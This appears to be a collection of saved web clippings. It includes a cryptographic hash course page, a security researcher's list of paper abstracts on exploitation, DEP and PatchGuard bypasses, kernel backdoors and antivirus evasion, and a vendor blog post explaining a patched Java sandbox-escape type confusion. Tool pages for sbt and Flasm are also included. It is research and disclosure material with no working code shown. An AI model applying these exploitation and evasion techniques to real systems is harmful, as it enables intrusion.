     "windbg.exe  -z C:\Windows\livekd.dmp"
       +0x000 Length           : 0x48
       +0x002 MaximumLength    : 0x4a
       +0x004 Buffer           : 0x003b1c8a  "windbg.exe  -z C:\Windows\livekd.dmp"
    
[/code]

Pretty handy and avoids having to do some otherwise nasty scripting.

_Note that you can read more about C++ expressions inthis article from The NT
Insider._

# The Design and Analysis of Cryptographic Hash Functions \(Winter 2011\)
Course

**Created:**| _1/17/2011 9:36:53 PM_  
---|---  
**Updated:**| _1/17/2011 9:37:09 PM_  
**Author:**| __  
**Tags:**| _hashes crypto_  
  

## The Design and Analysis of Cryptographic Hash Functions \(Winter 2011\)
Course

**_Instructors: Adi Shamir and Orr Dunkelman_**  
  
**_Teaching assistant: Itai Dinur_**

**E-mail:** | itaid\(at\)weizmann.ac.il  
---|---  
### Lecture 1

  * Slides from class \[slides\]

### Lecture 2

  * Slides from class \[slides\]

#### Papers Discussed in Class:

  * Antoine Joux: Multicollisions in Iterated Hash Functions. Application to   
Cascaded Constructions. CRYPTO 2004: 306-316

  * John Kelsey, Bruce Schneier: Second Preimages on n-Bit Hash Functions for   
Much Less than 2n Work. EUROCRYPT 2005: 474-490

  * John Kelsey, Tadayoshi Kohno: Herding Hash Functions and the Nostradamus   
Attack. EUROCRYPT 2006: 183-200

  * Elena Andreeva, Charles Bouillaguet, Pierre-Alain Fouque, Jonathan J.   
Hoch, John Kelsey, Adi Shamir, Sebastien Zimmer: Second Preimage Attacks  
on Dithered Hash Functions. EUROCRYPT 2008: 270-288

  * Elena Andreeva, Charles Bouillaguet, Orr Dunkelman, John Kelsey: Herding,   
Second Preimage and Trojan Message Attacks beyond Merkle-Damgard. Selected  
Areas in Cryptography 2009: 393-414

### Lecture 3

  * Slides from class \[slides\]

#### Papers Discussed in Class:

  * Jonathan J. Hoch and Adi Shamir: Breaking the ICE - Finding Multicollisions in   
Iterated Concatenated and Expanded \(ICE\) Hash Functions, proc. FSE 2006

### Lecture 4

  * Slides from class \[slides1\] \[slides2\]

#### Papers Discussed in Class:

  * G. Nivasch, "Cycle detection using a stack", Information Processing Letters 90/3, pp. 135-140, 2004.   

  * A. Joux and S. Lucks. Improved generic algorithms for 3-collisions. In Advances in Cryptology   
ASIACRYPT 2009, volume 5912 of Lecture Notes in Computer Science, pages
347–363. Springer  
Berlin, 2009.  

### Lecture 5

  * Slides from class \[slides\]

### Lecture 6

  * Slides from class \[slides1\] \[slides2\]

#### Papers Discussed in Class:

  * Eli Biham, Adi Shamir, Differential cryptanalysis of DES-like cryptosystems, CRYPTO'90 & Journal of Cryptology, Vol. 4, No. 1, pp. 3-72, 1991

### Lecture 7

  * Slides from class \[slides\]

#### Papers and Resources Discussed in Class:

  * Florent Chabaud, Antoine Joux, Differential Collisions in SHA-0, CRYPTO 1998
  * The SHA-3 ZOO
  * eBASH

### Lecture 8

  * Slides from class \[slides1\] \[slides2\] \[slides3\] \[slides4\]

#### Papers Discussed in Class:

  * Christophe De Canniere, Christian Rechberger: Preimages for Reduced SHA-0 and SHA-1. CRYPTO 2008: 179-202

### Lecture 9

  * Slides from class \[slides\]

#### Papers Discussed in Class:

  * Hellman, M.E., A cryptanalytic time-memory tradeoff. IEEE Transactions on Information Theory. v26 i4. 401-406.
  * Oechslin, P., Making a faster cryptanalytic time-memory trade-off. In: Lecture Notes in Computer Science, vol. 2729. Springer-Verlag. pp. 617-630.
  * Barkan, E., Biham, E. and Shamir, A., Rigorous bounds on cryptanalytic time/memory tradeoffs. In: Lecture Notes in Computer Science, vol. 4117. Springer-Verlag. pp. 1-21.

### Lecture 11

  * Slides from class \[slides\]

#### Papers Discussed in Class:

  * Itai Dinur and Adi Shamir: An Improved Algebraic Attack on Hamsi-256

### Exercises

  * Exercises should be submitted in class two weeks after receiving them.

**Ex1**

1\) Solve the questions in slide 20

2\) Show how to break the Rabin hash function construction

  

**Ex2**

1\) Given a hash function built using the Merkle-Damgard construction, show
how to efficiently find a second

preimage for a message composed of more than 2^\(n/2\) blocks.

2\) Show how to find an expandable message of size between l and 2^\(l\)+l-1
blocks in time complexity O\(l\*2^\(n/2\)\)

\(for a hash function using the Merkle-Damgard construction\).

3\) Show how to efficiently find a collision in k Merkle-Damgard hash
functions concatenated together

\(h1\(M\)||h2\(M\),...,hk\(M\)\). What is the complexity of the attack?

  

**Ex3**

1\) Prove that for a random function f there is an algorithm that finds k
preimages in O\(k\*2^n\) time

and k-collisions in O\(2^\(n\(k-1\)/k\)\) time.

2\) When we go over a message 3 times in the same order, find the minimal
number of blocks in M

giving rise to 2^k colliding messages in h\(M||M||M\).

3\) Assume that in the standard Merkle-Damgard construction each new block Mi
is hashed repeatedly until

the top bit of the output is 0. Does it effect the Joux attack?

  

  

**Ex4**

1\) Prove that the extended Floyd algorithm always finds the entrance to the
cycle regardless of a and b

\(the length of the tail and the length of the cycle\).

2\) Can Nivasch's algorithm stop at any point other than Min in the cycle?
Prove, or give a counter example.

3\) Develop the most efficient way to extend the Nivasch algorithm into one
which finds a collision point.

4\) Generalize the Joux, Lucks 3-way collision algorithm to 4-way collisions
by colliding two 2-way collisions.

Find the best parameters.

  

  

**Ex5**

1\) Solve the question in slide 24

2\) Given disturbances e\(j\) in W in steps 1,2 and 3, show how the message
difference and the state evolve,

and calculate the transition probabilities up to step 9 \(in order to get a
local collision\).

  

**Ex6**

1\) Find a 5-round differential characteristic for DES with probability higher
than 1/10486.

  

**Ex7**

1\) Find a disturbance vector that requires a difference in round -1.

2\) Show the resultant difference property for the first 20 rounds.

3\) Solve the question in slide 6.

  

  

**Ex8**

1\) Show a trivial collision finding attack when all 80 words Wi of SHA-0 are
independent.

What happens if the first k words are independent for k>16?

2\) Run the LFSR of SHA-0 and SHA-1 both forwards and backwards and evaluate
the hamming weight

of the difference, starting from a difference of a single bit.

3\) Simplify the second preimage attack of Christophe De Canniere and
Christian Rechberger

in case the was no rotation in the evolution of the Ai's in SHA-0.

\(rewrite the relevant parts of sections 3.2,3.3,3.4 of the paper\).

  

  

**Ex9**

1\) Find \(as many as you can\) graph properties which are the same for all
flavors of f: fi\(x\)=f\(x+i\(modN\)\).

2\) Assume that you are given D ciphertexts generated by the same key for
different chosen plaintexts.

Find the best approach to invert f on at least one of the D ciphertexts. What
is the time/memory/data tradeoff?

  

  

**Ex10**

1\) Find the possible holes in the lower bound proof of the running time of
time-memory tradeoff algorithms.

2\) Assume that the random graph consists of 2 components of sizes N1, N2
\(N1<<N2\),

and we want to be able to invert only on N1. What is the best approach?

  

  

**Ex11**

1\) Prove that every output bit of an nxn invertible Sbox can be described as
a polynomial of degree at most n-1 over GF\(2\)

in the input bits.

2\) Prove that the coefficient of tI is equal to the sum of outputs of the
polynomial obtained from all inputs

which assign 0 values to all variables that are not contained in I.

# mmiller \[at\] hickorg

**Created:**| _9/3/2009 9:52:21 AM_  
---|---  
**Updated:**| _9/3/2009 9:52:27 AM_  
**Author:**| __  
**Tags:**| _bookmark_  
  
Interests | Software | Presentations | Papers
  

**skape  
mmiller \[at\] hickorg**

* * *
# Interests

  * Exploitation techniques
  * Exploitation mitigations
  * Program analysis & modeling
  * Reverse engineering
  * Rootkits
  * Virtualization

# Software

metasploit  
An advanced, open-source exploitation framework.

wehntrust  
An implementation of Address Space Layout Randomization \(ASLR\) for Windows
2000, XP, and 2003 Server.

x64auto  
IDA plugin designed to provide additional information when analyzing x64 PE
files.

winstrace  
A user-mode system call tracing utility for Windows.

memgrep  
A dynamic memory analysis utility for Linux and FreeBSD.

# Presentations

The Evolution of Microsoft's Exploit Mitigations \(Blue Hat Fall 2008\)

Avoiding Driver Security Pitfalls \(DDC 2008\)

Modeling the trust boundaries created by securable objects \(WOOT 2008\)

State of the Exploit \(Seattle ToorCon 2008\)

A Brief History of Exploitation Techniques and Mitigations on Windows
\(BreakPoint 2007\)

Cthulhu: A software analysis framework built on Phoenix \(ToorCon 2007\)

Exploitation Chronomancy \(ToorCon 2005\)

Beyond EIP \(Black Hat USA 2005\)

# Papers

Using dual-mappings to evade automated unpackers \(Oct, 2008\)  
Automated unpackers such as Renovo, Saffron, and Pandora's Bochs attempt to
dynamically unpack executables by detecting the execution of code from regions
of virtual memory that have been written to. While this is an elegant method
of detecting dynamic code execution, it is possible to evade these unpackers
by dual-mapping physical pages to two distinct virtual address regions where
one region is used as an editable mapping and the second region is used as an
executable mapping. In this way, the editable mapping is written to during the
unpacking process and the executable mapping is used to execute the unpacked
code dynamically. This effectively evades automated unpackers which rely on
detecting the execution of code from virtual addresses that have been written
to.

Modeling the trust boundaries created by securable objects \(Jul, 2008\)  
One of the most critical steps of any security review involves identifying the
trust boundaries that an application is exposed to. While methodologies such
as threat modeling can be used to help obtain this understanding from an
application's design, it can be difficultcult to accurately map this
understanding to an application's implementation. This difficultculty suggests
that there is a need for techniques that can be used to gain a better
understanding of the trust boundaries that exist within an application's
implementation.  
  
To help address this problem, this paper describes a technique that can be
used to model the trust boundaries that are created by securable objects on
Windows. Dynamic instrumentation is used to generate object trace logs which
describe the contexts in which securable objects are defned, used, and have
their security descriptor updated. This information is used to identify the
data flows that are permitted by the access rights granted to securable
objects. It is then shown how these data flows can be analyzed to gain an
understanding of the trust boundaries, threats, and potential elevation paths
that exist within a given system.

Improving Software Security Analysis using Exploitation Properties \(Dec,
2007\)  
Reliable exploitation of software vulnerabilities has continued to become more
difficult as formidable mitigations have been established and are now included
by default with most modern operating systems. Future exploitation of software
vulnerabilities will rely on either discovering ways to circumvent these
mitigations or uncovering flaws that are not adequately protected. Since the
majority of the mitigations that exist today lack universal bypass techniques,
it has become more fruitful to take the latter approach. It is in this vein
that this paper introduces the concept of exploitation properties and
describes how they can be used to better understand the exploitability of a
system irrespective of a particular vulnerability. Perceived exploitability is
of utmost importance to both an attacker and to a defender given the presence
of modern mitigations. The ANI vulnerability \(MS07-017\) is used to help
illustrate these points by acting as a simple example of a vulnerability that
may have been more easily identified as code that should have received
additional scrutiny by taking exploitation properties into consideration.

A Catalog of Local Windows Kernel-mode Backdoor Techniques \(Aug, 2007\)  
This paper presents a detailed catalog of techniques that can be used to
create local kernel-mode backdoors on Windows. These techniques include
function trampolines, descriptor table hooks, model-specific register hooks,
page table modifications, as well as others that have not previously been
described. The majority of these techniques have been publicly known far in
advance of this paper. However, at the time of this writing, there appears to
be no detailed single point of reference for many of them. The intention of
this paper is to provide a solid understanding on the subject of local kernel-
mode backdoors. This understanding is necessary in order to encourage the
thoughtful discussion of potential countermeasures and perceived advancements.
In the vein of countermeasures, some additional thoughts are given to the
common misconception that PatchGuard, in its current design, can be used to
prevent kernel-mode rootkits.

Generalizing Data Flow Information \(Aug, 2007\)  
Generalizing information is a common method of reducing the quantity of data
that must be considered during analysis. This fact has been plainly
illustrated in relation to static data flow analysis where previous research
has described algorithms that can be used to generalize data flow information.
These generalizations have helped support more optimal data flow analysis in
certain situations. In the same vein, this paper describes a process that can
be employed to generalize and persist data flow information along multiple
generalization tiers. Each generalization tier is meant to describe the data
flow behaviors of a conceptual software element such as an instruction, a
basic block, a procedure, a data type, and so on. This process makes use of
algorithms described in previous literature to support the generalization of
data flow information. To illustrate the usefulness of the generalization
process, this paper also presents an algorithm that can be used to determine
reachability at each generalization tier. The algorithm determines
reachability starting from the least specific generalization tier and uses the
set of reachable paths found to progressively qualify data flow information
for each successive generalization tier. This helps to constrain the amount of
data flow information that must be considered to a minimal subset.

Memalyze: Dynamic Analysis of Memory Access Behavior in Software \(Apr, 2007\)  
This paper describes strategies for dynamically analyzing an application's
memory access behavior. These strategies make it possible to detect when a
read or write is about to occur at a given location in memory while an
application is executing. An application's memory access behavior can provide
additional insight into its behavior. For example, it may be able to provide
an idea of how data propagates throughout the address space. Three individual
strategies which can be used to intercept memory accesses are described in
this paper. Each strategy makes use of a unique method of intercepting memory
accesses. These methods include the use of Dynamic Binary Instrumentation
\(DBI\), x86 hardware paging features, and x86 segmentation features. A
detailed description of the design and implementation of these strategies for
32-bit versions of Windows is given. Potential uses for these analysis
techniques are described in detail.

Reducing the Effective Entropy of GS Cookies \(Mar, 2007\)  
This paper describes a technique that can be used to reduce the effective
entropy in a given GS cookie by roughly 15 bits. This reduction is made
possible because GS uses a number of weak entropy sources that can, with
varying degrees of accuracy, be calculated by an attacker. It is important to
note, however, that the ability to calculate the values of these sources for
an arbitrary cookie currently relies on an attacker having local access to the
machine, such as through the local console or through terminal services. This
effectively limits the use of this technique to stack-based local privilege
escalation vulnerabilities. In addition to the general entropy reduction
technique, this paper discusses the amount of effective entropy that exists in
services that automatically start during system boot. It is hypothesized that
these services may have more predictable states of entropy due to the relative
consistency of the boot process. While the techniques described in this paper
do not illustrate a complete break of GS, any inherent weakness can have
disastrous consequences given that GS is a static, compile-time security
solution. It is not possible to simply distribute a patch. Instead,
applications must be recompiled to take advantage of any security
improvements. In that vein, the paper proposes some solutions that could be
applied to address the problems that are outlined.

Locreate: An Anagram for Relocate \(Dec, 2006\)  
This paper presents a proof of concept executable packer that does not use any
custom code to unpack binaries at execution time. This is different from
typical packers which generally rely on packed executables containing code
that is used to perform the inverse of the packing operation at runtime.
Instead of depending on custom code, the technique described in this paper
uses documented behavior of the dynamic loader as a mechanism for performing
the unpacking operation. This difference can make binaries packed using this
technique more difficult to signature and analyze, but only when presented to
an untrained eye. The description of this technique is meant to be an example
of a fun thought exercise and not as some sort of revolutionary packer. In
fact, it's been used in the virus world many years prior to this paper.

Exploiting 802.11 Wireless Driver Vulnerabilities on Windows \(Nov, 2006\)  
This paper describes the process of identifying and exploiting 802.11 wireless
device driver vulnerabilities on Windows. This process is described in terms
of two steps: pre-exploitation and exploitation. The pre-exploitation step
provides a basic introduction to the 802.11 protocol along with a description
of the tools and libraries the authors used to create a basic 802.11 protocol
fuzzer. The exploitation step describes the common elements of an 802.11
wireless device driver exploit. These elements include things like the
underlying payload architecture that is used when executing arbitrary code in
kernel-mode on Windows, how this payload architecture has been integrated into
the 3.0 version of the Metasploit Framework, and the interface that the
Metasploit Framework exposes to make developing 802.11 wireless device driver
exploits easy. Finally, three separate real world wireless device driver
vulnerabilities are used as case studies to illustrate the application of this
process. It is hoped that the description and illustration of this process can
be used to show that kernel-mode vulnerabilities can be just as dangerous and
just as easy to exploit as user-mode vulnerabilities. In so doing, awareness
of the need for more robust kernel-mode exploit prevention technology can be
raised.

Preventing the Exploitation of SEH Overwrites \(Sep, 2006\)  
This paper proposes a technique that can be used to prevent the exploitation
of SEH overwrites on 32-bit Windows applications without requiring any
recompilation. While Microsoft has attempted to address this attack vector
through changes to the exception dispatcher and through enhanced compiler
support, such as with /SAFESEH and /GS, the majority of benefits they offer
are limited to image files that have been compiled to make use of the compiler
enhancements. This limitation means that without all image files being
compiled with these enhancements, it may still be possible to leverage an SEH
overwrite to gain code execution. In particular, many third-party applications
are still vulnerable to SEH overwrites even on the latest versions of Windows
because they have not been recompiled to incorporate these enhancements. To
that point, the technique described in this paper does not rely on any compile
time support and instead can be applied at runtime to existing applications
without any noticeable performance degradation. This technique is also
backward compatible with all versions of Windows NT+, thus making it a viable
and proactive solution for legacy installations.

Implementing a Custom x86 Encoder \(Aug, 2006\)  
This paper describes the process of implementing a custom encoder for the x86
architecture. To help set the stage, the McAfee Subscription Manager ActiveX
control vulnerability, which was discovered by eEye, will be used as an
example of a vulnerability that requires the implementation of a custom
encoder. In particular, this vulnerability does not permit the use of
uppercase characters. To help make things more interesting, the encoder
described in this paper will also avoid all characters above 0x7f. This will
make the encoder both UTF-8 safe and tolower safe.

Exploiting the Otherwise Non-exploitable on Windows \(May, 2006\)  
This paper describes a technique that can be applied in certain situations to
gain arbitrary code execution through software bugs that would not otherwise
be exploitable, such as NULL pointer dereferences. To facilitate this, an
attacker gains control of the top-level unhandled exception filter for a
process in an indirect fashion. While there has been previous work
illustrating the usefulness in gaining control of the top-level unhandled
exception filter, Microsoft has taken steps in XPSP2 and beyond, such as
function pointer encoding\[4\], to prevent attackers from being able to
overwrite and control the unhandled exception filter directly. While this
security enhancement is a marked improvement, it is still possible for an
attacker to gain control of the top-level unhandled exception filter by taking
advantage of a design flaw in the way unhandled exception filters are chained.
This approach, however, is limited by an attacker's ability to control the
chaining of unhandled exception filters, such as through the loading and
unloading of DLLs. This does reduce the global impact of this approach;
however, there are some interesting cases where it can be immediately applied,
such as with Internet Explorer.

Improving Automated Analysis of Windows x64 Binaries \(Apr, 2006\)  
As Windows x64 becomes a more prominent platform, it will become necessary to
develop techniques that improve the binary analysis process. In particular,
automated techniques that can be performed prior to doing code or data flow
analysis can be useful in getting a better understanding for how a binary
operates. To that point, this paper gives a brief explanation of some of the
changes that have been made to support Windows x64 binaries. From there, a few
basic techniques are illustrated that can be used to improve the process of
identifying functions, annotating their stack frames, and describing their
exception handler relationships. Source code to an example IDA plugin is also
included that shows how these techniques can be implemented.

Bypassing PatchGuard on Windows x64 \(Dec, 2005\)  
The Windows kernel that runs on the x64 platform has introduced a new feature,
nicknamed PatchGuard, that is intended to prevent both malicious software and
third-party vendors from modifying certain critical operating system
structures. These structures include things like specific system images, the
SSDT, the IDT, the GDT, and certain critical processor MSRs. This feature is
intended to ensure kernel stability by preventing uncondoned behavior, such as
hooking. However, it also has the side effect of preventing legitimate
products from working properly. For that reason, this paper will serve as an
in-depth analysis of PatchGuard's inner workings with an eye toward techniques
that can be used to bypass it. Possible solutions will also be proposed for
the bypass techniques that are suggested.

Windows Kernel-mode Payload Fundamentals \(Dec, 2005\)  
This paper discusses the theoretical and practical implementations of kernel-
mode payloads on Windows. At the time of this writing, kernel-mode research is
generally regarded as the realm of a few, but it is hoped that documents such
as this one will encourage a thoughtful progression of the subject matter. To
that point, this paper will describe some of the general techniques and
algorithms that may be useful when implementing kernel-mode payloads.
Furthermore, the anatomy of a kernel-mode payload will be broken down into
four distinct units, known as payload components, and explained in detail. In
the end, the reader should walk away with a concrete understanding of the way
in which kernel-mode payloads operate on Windows.

Bypassing Windows Hardware-enforced Data Execution Prevention \(Oct, 2005\)  
This paper describes a technique that can be used to bypass Windows hardware-
enforced Data Execution Prevention \(DEP\) on default installations of Windows
XP Service Pack 2 and Windows 2003 Server Service Pack 1. This technique makes
it possible to execute code from regions that are typically non-executable
when hardware support is present, such as thread stacks and process heaps.
While other techniques have been used to accomplish similar feats, such as
returning into NtProtectVirtualMemory, this approach requires no direct
reprotecting of memory regions, no copying of arbitrary code to other
locations, and does not have issues with NULL bytes. The result is a feasible
approach that can be used to easily bypass the enhancements offered by
hardware-enforced DEP on Windows in a way that requires very minimal
modifications to existing exploits.

Temporal Return Addresses: Exploitation Chronomancy \(Aug, 2005\)  
Nearly all existing exploitation vectors depend on some knowledge of a
process' address space prior to an attack in order to gain meaningful control
of execution flow. In cases where this is necessary, exploit authors generally
make use of static addresses that may or may not be portable between various
operating system and application revisions. This fact can make exploits
unreliable depending on how well researched the static addresses were at the
time that the exploit was implemented. In some cases, though, it may be
possible to predict and make use of certain addresses in memory that do not
have static contents. This document introduces the concept of temporal
addresses and describes how they can be used, under certain circumstances, to
make exploitation more reliable.

Annoyances Caused by Unsafe Assumptions \(Apr, 2005\)  
This installation of What Were They Thinking illustrates some of the
annoyances that can be caused when developing software that has to inter-
operate with third-party applications. Two such cases will be dissected and
discussed in detail for the purpose of showing how third-party applications
can fail when used in conjunction with software that performs certain tasks.
The analysis of the two cases is meant to show how complex failure conditions
can be analyzed and used to determine inter-operability problems.

Post-Exploitation on Windows using ActiveX Controls \(Mar, 2005\)  
When exploiting software vulnerabilities it is sometimes impossible to build
direct communication channels between a target machine and an attacker's
machine due to restrictive outbound filters that may be in place on the target
machine's network. Bypassing these filters involves creating a post-
exploitation payload that is capable of masquerading as normal user traffic
from within the context of a trusted process. One method of accomplishing this
is to create a payload that enables ActiveX controls by modifying Internet
Explorer's zone restrictions. With ActiveX controls enabled, the payload can
then launch a hidden instance of Internet Explorer that is pointed at a URL
with an embedded ActiveX control. The end result is the ability for an
attacker to run custom code in the form of a DLL on a target machine by using
a trusted process that uses one or more trusted communication protocols, such
as HTTP or DNS.

Metasploit's Meterpreter \(Dec, 2004\)  
Meterpreter, short for The Meta-Interpreter, is an advanced payload that is
included in the Metasploit Framework. Its purpose is to provide complex and
advanced features that would otherwise be tedious to implement purely in
assembly. The way that it accomplishes this is by allowing developers to write
their own extensions in the form of shared object \(DLL\) ﬁles that can be
uploaded and injected into a running process on a target computer after
exploitation has occurred. Meterpreter and all of the extensions that it loads
are executed entirely from memory and never touch the disk, thus allowing them
to execute under the radar of standard Anti-Virus detection.

Safely Searching Process Virtual Address Space \(Sep, 2004\)  
This paper describes some techniques that can be used to search the virtual
address space of a process for a unique key as a part of running code that is
at an unknown location in memory. The code that is used to search the process
address space is designed to be extremely compact in order to make it useful
in scenarios where a particularly imposes limitations on the size of the
payload that can be used in the context of the initial overflow.

Remote Library Injection \(Apr, 2004\)  
The common methods currently employed to compromise comput- ers are
ineffective and easily detected by standard Anti-Virus practices. Despite
this, worm authors continue to use these same approaches, blindly hoping that
at least some of the hosts will remain infected long enough for the worm au-
thor to make use of them. An alternative to the standard methods of computer
compromise involves making use of a more complicated, yet high-yield,
solution: library injection. When used in conjunction with a remote
vulnerability, such as the DCOM vulnerability, library injection can lead to
an undetectable com- promise at the host level as far as current Anti-Virus
detection mechanisms are concerned. The impact from this is far-reaching; so
much so that a completely automated, high-retention, operating system
independent super-worm is an ever approaching reality.

Reverse Engineering: Memory Analysis \(Dec, 2003\)  
This paper describes some basic techniques that can be used to dynamically
analyze a program by inspecting the content of its address space at runtime.
The techniques presented are then applied to show how they can be used to
perform basic reverse engineering of a closed source game known as ADOM.

Understanding Windows Shellcode \(Dec, 2003\)  
This paper provides an exhaustive description of the structure and purpose of
windows shellcode. An in-depth walkthrough of various types of windows
payloads is given including reverse connect, port bind, file descriptor re-
use, and so on.

ELF binary signing and verification \(Jan, 2003\)  
This paper provides an introduction to binary signing of ELF executables.

Linux x86 run-time process manipulation \(Jan, 2003\)  
This paper illustrates run-time process manipulation techniques on Linux.

  

# simple-build-tool - A build tool for Scala - Google Project Hosting

**Created:**| _6/8/2011 1:42:14 PM_  
---|---  
**Updated:**| _6/8/2011 1:42:14 PM_  
**Author:**| __  
**Tags:**| _Java programming scala_  
  
**sbt has now completely moved to GitHub.** See
https://github.com/harrah/xsbt/.`sbt` is a simple build tool for Scala
projects that aims to do the basics well. It requires Java 1.5 or later.

## Features

  * Fairly fast, unintrusive, and easy to set up for simple projects
  * Configuration, customization, and extension are done in Scala
  * Accurate recompilation \(in theory\) is done using information extracted from the compiler
  * Continuous compilation and testing with triggered execution
  * Supports mixed Scala/Java projects, packages jars, generates documentation with `scaladoc`
  * Supports testing with ScalaCheck, specs, and ScalaTest
  * Starts the Scala REPL with project classes and dependencies on the classpath
  * Multiple project/subproject support
  * Parallel task execution, including parallel test execution
  * Dependency management support: inline declarations, external Ivy or Maven configuration files, or manual management

  
---

# When Java throws you a Lemon, make Limenade: Sandbox escape by type
confusion

**Created:**| _10/3/2018 9:44:19 AM_  
---|---  
**Updated:**| _10/3/2018 9:44:19 AM_  
**Author:**| __  
**Tags:**| __  
  

#  When Java throws you a Lemon, make Limenade: Sandbox escape by type
confusion

April 25, 2018 | Vincent Lee
SUBSCRIBE

Last week, Oracle released their quarterly Critical Patch Update \(CPU\).
Seven of these bugs were submitted through the Zero Day Initiative \(ZDI\)
program, and one of these bugs was quite reminiscent of the Java submissions
in late 2012 and early 2013. The bug, CVE-2018-2826 \(ZDI-18-307\), is a
sandbox escape vulnerability due to insufficient type checking discovered by
XOR19. An attacker with low execution privileges may exploit this
vulnerability to bypass the `SecurityManager` and escalate privileges.

**The Vulnerability**

The vulnerability lies in the implementation of reflection API,
`java.lang.invoke.MethodHandles::tryFinally(MethodHandle target, MethodHandle
cleanup)` method. I’ll refer to this API as `MethodHandles::tryFinally()`
hereafter. This API returns a `MethodHandle` that adapts a `target` method
handle by wrapping it in a `try-finally` block. The `cleanup` method handle
represents the functionality of the finally block. Any exception thrown during
the execution of the `target` handle will be passed to the `cleanup` handle.

In the implementation of `MethodHandles::tryFinally()`, insufficient type
checks were performed. It is possible to for an attacker to assign mismatched
`Throwable` objects between `target` and `cleanup` MethodHandlers, resulting
in a type confusion condition. The attacker in turn is able to cast any object
into arbitrary types.

**An Example**

Suppose we have the following two classes and methods.

<img src='img/first.png' width='500' height='374' />

The attacker constructs a MethodHandle with `throwEx()` and `handleEx()`as
`cleanup`. Notice that `throwEx` throws a `Cast1`-typed `Throwable` and
`handleEx()` handles the `Cast2`-typed `Throwable`. When the attacker invokes
the newly constructed MethodHandle in a vulnerable version of Java, it passes
the `Cast1` `Throwable` object into `handleEx()`, which handles `Cast2`-typed
`Throwable` object without complaint or proper type checking. As `handleEx()`
proceeds to process the `Throwable`, it handles the `Lemon` as a `Lime`, which
allows the attacker to cast the `Lemon` into `Lime` and `makeLimenade()` out
of `Lemon`.

<img src='img/1524673429217' width='700' height='438' />

**The Exploit**

In the exploit, the attacker attempts to bypass the `Security Manager` by
setting it to `null` via reflection. First, the attacker obtains a
`methodHandle` to `setSecurityManager` via `MethodHandles::publicLookup()`.
However, `setSecurityManager` is normally inaccessible to
`MethodHandles::publicLookup()`, so the attacker defines the following code
and casts the `Lookup` object into a dummy `LookupMirror` object with the type
confusion vulnerability:

<img src='img/1524673473844' width='700' height='314' />

In `handleEx()`, the attacker manipulates the `Lookup` object as
`LookupMirror` object. From the relevant OpenJDK source code below, the
attacker has changed the `allowedModes` property of the `Lookup` object into
`TRUSTED`, allowing the attacker to obtain `MethodHandles` to arbitrary
methods, including `setSecurityManager()`.

<img src='img/1524673539435' width='700' height='207' />

Finally, the attacker then obtains a method handle to the
`setSecurityManager()` using the trusted `Lookup` object and sets
`SecurityManager` to `null` in order to bypass all restrictions imposed by a
`SecurityManger`.

**The Patch**

Oracle patched this vulnerability by converting the object thrown by the
`target` method handle into one that `cleanup` can handle. This ensures the
`MethodHandles::tryFinally()` API will throw a `WrongMethodTypeException` when
the types are mismatched and incompatible for explicit casting.

<img src='img/patch.png' width='700' height='547' />

**Conclusion**

It’s interesting to see these Java type confusion bugs continue to be
submitted to the program even though they aren’t used by exploits as much
these days. Once browsers implemented “Click-to-Play,” practical exploitation
became more difficult. This is also reflected in the amount of Oracle Java
bugs submitted to the program over the years. That steep drop off coincides
with the adoption of Click-to-Play and also illustrates how implementing
mitigations to take out classes of vulnerabilities shifts researchers to other
targets.

<img src='img/JavaSubmission.png' width='701' height='285' />

Java-related submissions to the ZDI program over time.

When my colleagues presented on Java exploits back in 2013, Oracle claimed
more than 3 billion devices ran Java and that number is likely even higher
now. Type confusion bugs were the most exploited vulnerability type back then,
so it’s good to see these patched – even if they are never targeted.

You can find me on Twitter @TrendyTofu, and follow the team for the latest in
exploit techniques and security patches.

**Disclosure Timeline**  
· 2017-12-19 - Vulnerability reported to vendor  
· 2018-04-18 - Coordinated public release of advisory

  * Java
  * Oracle
  * Research

BACK TO THE BLOG

Share

###  Onix: Finding Pokémon in your Acrobat \(Revealing a new attack surface\)

Adobe, Research, Acrobat

###  CVE-2018-15421 – Examining a Stack-based Overflow in the Cisco Webex
Network Recording Player

Cisco, Research, Webex

###  ZDI-CAN-6135: A Remote Code Execution Vulnerability in the Microsoft
Windows Jet Database Engine

0-day, Microsoft, Exploit

# IDA Keyboard Cheeat sheet

**Created:**| _12/31/2009 4:16:23 PM_  
---|---  
**Updated:**| _12/31/2009 4:16:40 PM_  
**Author:**| __  
**Tags:**| _cheat sheets iDA_  
  
<img src='img/Temp2_4166' />

# no|wrap.de - Flasm

**Created:**| _9/3/2009 9:51:57 AM_  
---|---  
**Updated:**| _9/3/2009 9:52:09 AM_  
**Author:**| __  
**Tags:**| _Flash web-app-sec Decompiler_  
  
About · Download · What's new · Usage · Flash virtual machine · Assembler
syntax · Embedding Flasm · Optimization techniques · \_\_bytecode\_\_ · File
size difference ·Huge scripts · Quirks, bugs and crashes · History · Project
state · Resources · Terms of use · Enjoy

### About

Flasm disassembles your entire SWF including all the timelines and events.
Looking at disassembly, you learn how the Flash compiler works, which improves
your ActionScript skills. You can also do some optimizations on the
disassembled code by hand or adjust the code as you wish. Flasm then applies
your changes to the original SWF, replacing original actions.

It's also possible to embed Flasm actions in your ActionScript, making
optimizing of large projects more comfortable.

Flasm is not a decompiler. What you get is the human readable representation
of SWF bytecodes, not ActionScript source. If you're looking for a decompiler,
Flare may suit your needs. However, Flare can't alter the SWF.

Page too long? You don't have to read it all. First, make yourself familiar
with usage. Then read flash virtual machine topic to understand the concept of
registers and stack. Disassemble some of your SWFs, starting with simpler
ones, to see the inner workings of the Flash compiler. The rest of this page
tries to address questions you may have at this point.

### Download

Most recent Flasm version is **1.62**.

Windows binary:  flasm16win.zip  
Mac OS X binary:  flasm16mac.tgz  
Linux x86 binary:  flasm16linux.tgz

There is no installation procedure. Just create a folder named `flasm`
somewhere and unpack the archive there. To uninstall, delete the folder and
you're done. Flasm doesn't touch your system files or registry.

**Third-party distributions and translations**

FreeBSD port is maintained by Jun Kuriyama, Redhat RPMs are built by Daichi
Shinozaki. They may be some versions behind the current and are not tested by
me. If something goes wrong, please contact the maintainers. Jaco has
translated Flasm manual into Italian.

**Want to compile from sources?**

Source code, platform independent: flasm16src.zip

You will need gcc or cc compiler with `flex`, `bison`, `gperf`, `zlib` and
`zlib-devel` packages installed. It should compile well without any changes.
Tested on Windows 2000 \(Cygwin\), Mac OS X, and Linux. For Cygwin, please
install `mingw`, `mingw-runtime` and `mingw-zlib` packages too. On Windows, MS
Visual C++ and other not entirely POSIX compatible compilers will require
plenty of changes to the source. Consider Cygwin.

### What's new in Flasm 1.6 series

**Flasm 1.62**

  * Bug fixes, thanks to Petr Ovtchenkov et al.

**Flasm 1.61**

